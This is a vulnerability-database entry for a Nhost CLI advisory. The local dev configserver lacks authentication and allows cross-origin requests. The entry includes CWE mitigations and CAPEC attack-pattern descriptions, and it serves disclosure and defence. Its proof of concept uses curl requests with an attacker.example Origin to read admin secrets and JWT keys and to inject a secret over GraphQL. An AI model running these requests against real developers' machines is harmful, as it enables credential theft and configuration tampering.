"url": "https://www.ibm.com/support/docview.wss?uid=ibm10733355"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105554"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-64CJ-QVX5-M4F3
Vulnerability from github – Published: 2026-06-04 17:43 – Updated: 2026-06-04 17:43Summary
The hidden nhost configserver used by nhost dev exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local .secrets file.
This impacts developers using nhost dev: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.
Details
The CLI registers a hidden configserver command in cli/main.go:39 and cli/main.go:41. That command is used as the local development configserver image in nhost dev: cli/cmd/dev/up.go:176 through cli/cmd/dev/up.go:200 select nhost/cli:<version> as the configserver image, and cli/dockercompose/configserver.go:80 through cli/dockercompose/configserver.go:84 run it with the configserver command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at cli/dockercompose/compose.go:347 through cli/dockercompose/compose.go:358.
The configserver intentionally loads the local project files into Mimir's GraphQL resolver in cli/cmd/configserver/configserver.go:143 through cli/cmd/configserver/configserver.go:156. However, the authorization directives passed to graph.SetupRouter are no-ops:
cli/cmd/configserver/configserver.go:83throughcli/cmd/configserver/configserver.go:89definedummyMiddleware, which calls the next resolver without checking app visibility.cli/cmd/configserver/configserver.go:91throughcli/cmd/configserver/configserver.go:98definedummyMiddleware2, which calls the next resolver without checking roles.cli/cmd/configserver/configserver.go:161throughcli/cmd/configserver/configserver.go:170pass those dummy directive handlers andcors.Default()to the GraphQL router.
The default rs/cors configuration allows all origins when no AllowedOrigins are specified: vendor/github.com/rs/cors/cors.go:163 through vendor/github.com/rs/cors/cors.go:167, and vendor/github.com/rs/cors/cors.go:248 through vendor/github.com/rs/cors/cors.go:249 show Default() uses Options{}. A browser preflight from an arbitrary origin receives Access-Control-Allow-Origin: *.
The exposed GraphQL schema includes sensitive queries and mutations:
vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41throughvendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57exposeconfigRawJSON,config, andappSecretsby app ID.appSecretsis protected only by@hasAppVisibility, which the configserver replaces with the no-opdummyMiddleware.vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117throughvendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128exposeinsertSecret,updateSecret, anddeleteSecret, also protected only by the no-op@hasAppVisibilitydirective.vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10throughvendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30return the app's secrets.vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11throughvendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47append attacker-supplied secrets and call pluginUpdateSecrets.cli/cmd/configserver/local.go:164throughcli/cmd/configserver/local.go:175marshal the new secrets and write them to the configured local secrets file withos.WriteFile.
Because the local configserver uses a fixed zero UUID app ID for the local app (cli/cmd/configserver/local.go:134) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.
Candidate score: 14/14.
- Reachability: 2 — reachable in the documented local development path using
nhost devand directly through the hiddenconfigservercommand. - Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.
- Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.
- Sink impact: 2 — sensitive secret read and local secrets file write.
- Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.
- Default exposure: 2 — enabled by the common local development setup.
- Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.
PoC
The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.
- Start a configserver instance against temporary local files:
tmpdir=$(mktemp -d)
config="$tmpdir/nhost.toml"
secrets="$tmpdir/.secrets"
cat > "$config" <<'EOF'
[hasura]
adminSecret = 'local-test-admin-secret'
webhookSecret = 'local-test-webhook-secret'
[[hasura.jwtSecrets]]
type = 'HS256'
key = 'local-test-jwt-secret'
[observability]
[observability.grafana]
adminPassword = 'local-test-grafana-password'
EOF
cat > "$secrets" <<'EOF'
localProofSecret = 'LOCAL_PROOF_SECRET_VALUE'
EOF
port=18088
go run ./cli configserver \
--bind "127.0.0.1:$port" \
--storage-local-config-path "$config" \
--storage-local-secrets-path "$secrets"
- From another shell, show that a browser-style preflight from an arbitrary origin is accepted:
curl -sS -i -X OPTIONS \
-H 'Origin: https://attacker.example' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 204 No Content
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
- Read local development secrets without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}}
- Read sensitive local configuration without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}}
- Mutate the local
.secretsfile without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}}
INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'
- Cleanup:
# Stop the configserver process, then remove the disposable fixture directory.
rm -rf "$tmpdir"
Impact
An attacker who can cause a developer to visit a web page while nhost dev is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in .secrets. The attacker can also mutate the local .secrets file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.
This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.
Remediation
Addressed in nhost/nhost#4302 with three layered controls:
- CORS restricted to the dashboard origin.
cors.Default()incli/cmd/configserver/configserver.gois replaced bycorsMiddleware(), which uses anAllowOriginFuncdriven bydashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$. Arbitrary origins receive noAccess-Control-Allow-*headers and are rejected by browsers. The allowlist is locked in bycli/cmd/configserver/configserver_test.go. - Unguessable per-project app ID. The fixed zero UUID is replaced by a UUIDv4 generated on first
nhost dev, persisted to.nhost/app_id(mode0600) bycli/clienv/appid.go, and threaded viaNHOST_APP_IDinto the configserver container andNEXT_PUBLIC_NHOST_APP_IDinto the dashboard. The configserverserveaction validates the value withuuid.Parseat startup. Queries against any other app ID resolve to no app. - In-memory secret redaction with reconciling writes.
cli/cmd/configserver/local.goaddsloadSecretsRedacted, which substitutes every secret value with<placeholder-from-local-configserver-substituted-for-real-secret>before secrets enter the graph store, soappSecretsand any other read path return placeholders.UpdateSecretsreconciles incoming mutations against the on-disk.secretsfile — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage incli/cmd/configserver/local_test.go.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nhost/nhost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260518172022-e407511627d2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47671"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-04T17:43:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer\u0027s localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file.\n\nThis impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.\n\n### Details\n\nThe CLI registers a hidden `configserver` command in `cli/main.go:39` and `cli/main.go:41`. That command is used as the local development configserver image in `nhost dev`: `cli/cmd/dev/up.go:176` through `cli/cmd/dev/up.go:200` select `nhost/cli:\u003cversion\u003e` as the configserver image, and `cli/dockercompose/configserver.go:80` through `cli/dockercompose/configserver.go:84` run it with the `configserver` command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at `cli/dockercompose/compose.go:347` through `cli/dockercompose/compose.go:358`.\n\nThe configserver intentionally loads the local project files into Mimir\u0027s GraphQL resolver in `cli/cmd/configserver/configserver.go:143` through `cli/cmd/configserver/configserver.go:156`. However, the authorization directives passed to `graph.SetupRouter` are no-ops:\n\n- `cli/cmd/configserver/configserver.go:83` through `cli/cmd/configserver/configserver.go:89` define `dummyMiddleware`, which calls the next resolver without checking app visibility.\n- `cli/cmd/configserver/configserver.go:91` through `cli/cmd/configserver/configserver.go:98` define `dummyMiddleware2`, which calls the next resolver without checking roles.\n- `cli/cmd/configserver/configserver.go:161` through `cli/cmd/configserver/configserver.go:170` pass those dummy directive handlers and `cors.Default()` to the GraphQL router.\n\nThe default `rs/cors` configuration allows all origins when no `AllowedOrigins` are specified: `vendor/github.com/rs/cors/cors.go:163` through `vendor/github.com/rs/cors/cors.go:167`, and `vendor/github.com/rs/cors/cors.go:248` through `vendor/github.com/rs/cors/cors.go:249` show `Default()` uses `Options{}`. A browser preflight from an arbitrary origin receives `Access-Control-Allow-Origin: *`.\n\nThe exposed GraphQL schema includes sensitive queries and mutations:\n\n- `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57` expose `configRawJSON`, `config`, and `appSecrets` by app ID. `appSecrets` is protected only by `@hasAppVisibility`, which the configserver replaces with the no-op `dummyMiddleware`.\n- `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117` through `vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128` expose `insertSecret`, `updateSecret`, and `deleteSecret`, also protected only by the no-op `@hasAppVisibility` directive.\n- `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10` through `vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30` return the app\u0027s secrets.\n- `vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12` returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.\n- `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11` through `vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47` append attacker-supplied secrets and call plugin `UpdateSecrets`.\n- `cli/cmd/configserver/local.go:164` through `cli/cmd/configserver/local.go:175` marshal the new secrets and write them to the configured local secrets file with `os.WriteFile`.\n\nBecause the local configserver uses a fixed zero UUID app ID for the local app (`cli/cmd/configserver/local.go:134`) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.\n\nCandidate score: 14/14.\n\n- Reachability: 2 \u2014 reachable in the documented local development path using `nhost dev` and directly through the hidden `configserver` command.\n- Attacker control: 2 \u2014 GraphQL query and mutation bodies are fully attacker-controlled.\n- Privilege required: 2 \u2014 no authentication or local Nhost privileges are required beyond network/browser reachability to the developer\u0027s local configserver.\n- Sink impact: 2 \u2014 sensitive secret read and local secrets file write.\n- Mitigation weakness: 2 \u2014 role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.\n- Default exposure: 2 \u2014 enabled by the common local development setup.\n- Safe reproduction feasibility: 2 \u2014 confirmed locally with disposable fixture files.\n\n### PoC\n\nThe following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.\n\n1. Start a configserver instance against temporary local files:\n\n\n```sh\ntmpdir=$(mktemp -d)\nconfig=\"$tmpdir/nhost.toml\"\nsecrets=\"$tmpdir/.secrets\"\n\ncat \u003e \"$config\" \u003c\u003c\u0027EOF\u0027\n[hasura]\nadminSecret = \u0027local-test-admin-secret\u0027\nwebhookSecret = \u0027local-test-webhook-secret\u0027\n\n[[hasura.jwtSecrets]]\ntype = \u0027HS256\u0027\nkey = \u0027local-test-jwt-secret\u0027\n\n[observability]\n[observability.grafana]\nadminPassword = \u0027local-test-grafana-password\u0027\nEOF\n\ncat \u003e \"$secrets\" \u003c\u003c\u0027EOF\u0027\nlocalProofSecret = \u0027LOCAL_PROOF_SECRET_VALUE\u0027\nEOF\n\nport=18088\ngo run ./cli configserver \\\n --bind \"127.0.0.1:$port\" \\\n --storage-local-config-path \"$config\" \\\n --storage-local-secrets-path \"$secrets\"\n```\n\n\n\n2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:\n\n\n```sh\ncurl -sS -i -X OPTIONS \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n -H \u0027Access-Control-Request-Method: POST\u0027 \\\n -H \u0027Access-Control-Request-Headers: content-type\u0027 \\\n \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 204 No Content\nAccess-Control-Allow-Headers: content-type\nAccess-Control-Allow-Methods: POST\nAccess-Control-Allow-Origin: *\nVary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers\n```\n\n\n\n3. Read local development secrets without any authentication:\n\n\n```sh\ncurl -sS -i \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"query\":\"query { appSecrets(appID: \\\"00000000-0000-0000-0000-000000000000\\\") { name value } }\"}\u0027 \\\n \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"appSecrets\":[{\"name\":\"localProofSecret\",\"value\":\"LOCAL_PROOF_SECRET_VALUE\"}]}}\n```\n\n\n\n4. Read sensitive local configuration without any authentication:\n\n\n```sh\ncurl -sS -i \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"query\":\"query { configRawJSON(appID: \\\"00000000-0000-0000-0000-000000000000\\\", resolve: false) }\"}\u0027 \\\n \"http://127.0.0.1:18088/v1/configserver/graphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"configRawJSON\":\"{\\\"hasura\\\":{\\\"adminSecret\\\":\\\"local-test-admin-secret\\\",\\\"jwtSecrets\\\":[{\\\"key\\\":\\\"local-test-jwt-secret\\\",\\\"type\\\":\\\"HS256\\\"}],\\\"webhookSecret\\\":\\\"local-test-webhook-secret\\\"},\\\"observability\\\":{\\\"grafana\\\":{\\\"adminPassword\\\":\\\"local-test-grafana-password\\\"}}}\"}}\n```\n\n\n\n5. Mutate the local `.secrets` file without any authentication:\n\n\n```sh\ncurl -sS -i \\\n -H \u0027Origin: https://attacker.example\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"query\":\"mutation { insertSecret(appID: \\\"00000000-0000-0000-0000-000000000000\\\", secret: { name: \\\"INJECTED_BY_UNAUTHENTICATED_REQUEST\\\", value: \\\"SAFE_LOCAL_MARKER\\\" }) { name value } }\"}\u0027 \\\n \"http://127.0.0.1:18088/v1/configserver/graphql\"\n\ngrep -E \u0027INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER\u0027 \"$secrets\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"insertSecret\":{\"name\":\"INJECTED_BY_UNAUTHENTICATED_REQUEST\",\"value\":\"SAFE_LOCAL_MARKER\"}}}\nINJECTED_BY_UNAUTHENTICATED_REQUEST = \u0027SAFE_LOCAL_MARKER\u0027\n```\n\n\n\n6. Cleanup:\n\n\n```sh\n# Stop the configserver process, then remove the disposable fixture directory.\nrm -rf \"$tmpdir\"\n```\n\n\n### Impact\n\nAn attacker who can cause a developer to visit a web page while `nhost dev` is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in `.secrets`. The attacker can also mutate the local `.secrets` file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.\n\nThis is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer\u0027s local configserver route while the development stack is running.\n\n### Remediation\n\nAddressed in [nhost/nhost#4302](https://github.com/nhost/nhost/pull/4302) with three layered controls:\n\n- **CORS restricted to the dashboard origin.** `cors.Default()` in `cli/cmd/configserver/configserver.go` is replaced by `corsMiddleware()`, which uses an `AllowOriginFunc` driven by `dashboardOriginRe = ^https?://([^./]+\\.dashboard\\.local\\.nhost\\.run|local\\.dashboard\\.nhost\\.run)(:\\d+)?$`. Arbitrary origins receive no `Access-Control-Allow-*` headers and are rejected by browsers. The allowlist is locked in by `cli/cmd/configserver/configserver_test.go`.\n- **Unguessable per-project app ID.** The fixed zero UUID is replaced by a UUIDv4 generated on first `nhost dev`, persisted to `.nhost/app_id` (mode `0600`) by `cli/clienv/appid.go`, and threaded via `NHOST_APP_ID` into the configserver container and `NEXT_PUBLIC_NHOST_APP_ID` into the dashboard. The configserver `serve` action validates the value with `uuid.Parse` at startup. Queries against any other app ID resolve to no app.\n- **In-memory secret redaction with reconciling writes.** `cli/cmd/configserver/local.go` adds `loadSecretsRedacted`, which substitutes every secret value with `\u003cplaceholder-from-local-configserver-substituted-for-real-secret\u003e` before secrets enter the graph store, so `appSecrets` and any other read path return placeholders. `UpdateSecrets` reconciles incoming mutations against the on-disk `.secrets` file \u2014 placeholder values preserve the on-disk value, only real new values are written \u2014 so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in `cli/cmd/configserver/local_test.go`.",
"id": "GHSA-64cj-qvx5-m4f3",
"modified": "2026-06-04T17:43:40Z",
"published": "2026-06-04T17:43:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nhost/nhost/security/advisories/GHSA-64cj-qvx5-m4f3"
},
{
"type": "WEB",
"url": "https://github.com/nhost/nhost/pull/4302"
},
{
"type": "WEB",
"url": "https://github.com/nhost/nhost/commit/e407511627d2c2c1137a70e9ca1ca31095d23479"
},
{
"type": "PACKAGE",
"url": "https://github.com/nhost/nhost"
},
{
"type": "WEB",
"url": "https://github.com/nhost/nhost/releases/tag/cli@1.46.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets"
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.